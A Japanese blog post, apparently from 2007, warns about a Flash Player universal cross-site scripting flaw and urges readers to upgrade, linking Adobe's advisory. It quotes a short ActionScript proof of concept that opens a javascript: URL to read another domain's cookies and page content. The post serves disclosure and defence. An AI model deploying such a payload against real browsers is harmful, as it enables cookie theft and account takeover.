Flash Playerに深刻な脆弱性(簡単に他所のサイトのアカウントが乗っ取れる脆弱性と他の脆弱性)がありアップデートがリリースされています。
悪意のあるSWFファイルを読み込ませることによって脆弱性を悪用することができ、攻撃が成功すればシステムを乗っ取ることも可能だという。
http://internet.watch.impress.co.jp/cda/news/2007/12/20/17964.html
ここまでしか読まなければかなり控えめな表現であることが分かります。後半の方まで読むとエンジニアであれば理解できる書き方になっています。
Flash Playerにはクロスドメインポリシーファイルの扱いに関する脆弱性が存在しているという。その結果、細工を施されたWebページによって、サイトのクロスドメインポリシーが迂回される可能性があり、サイト管理者の意図に反してデータがアクセスされる可能性があるとしている。このほか、任意のHTTP ヘッダが送信可能な脆弱性も存在するという。
あまり素人向けの解説とは言えないかも知れません。Watchなのでこれでも良いのかも知れませんが。
Securiteamの記事は最初の方に重要な事が書いてあるので分かりやすいです。
This vulnerability allows remote attackers to run arbitrary JavaScript code in the security context of other domains,
http://www.securiteam.com/securitynews/6E00L00KKC.html
Universal Cross Site Scriptingと呼ばれるタイプの非常に危険な脆弱性です。別の言い方をすると他所のドメインのクッキーを自由に盗める脆弱性です。悪意のあるフラッシュを実行するとログイン状態にあるサイトのアカウントを乗っ取られる可能性があります。
しかもこの脆弱性の攻撃は非常に簡単です。元ネタのStanford大のページ、Securiteamのサイトには攻撃方法が記載されています。
Exploit: package { import flash.display.Sprite; import flash.net.*; import flash.utils.*; public class uxssdemo extends Sprite { public function uxssdemo() { setTimeout(DoAttack, 1000); } public function DoAttack():void { var request:URLRequest = new URLRequest('javascript:alert("Cookie: "+document.cookie+"\\n\\nContent: \\n\\n" + document.lastChild.innerHTML);window.close();'); navigateToURL(request, 'tg'); } } }
Flashをよく知らない人でも簡単に攻撃できます。もしまだアップグレードしていない方は即刻Flash Playerをアップグレードした方がよいです。
Adobeのセキュリティ情報
http://www.adobe.com/support/security/bulletins/apsb07-20.html
Flashのダウンロードページ
http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash
Flashのバージョンチェック
http://kb.adobe.com/selfservice/viewContent.do?externalId=tn_15507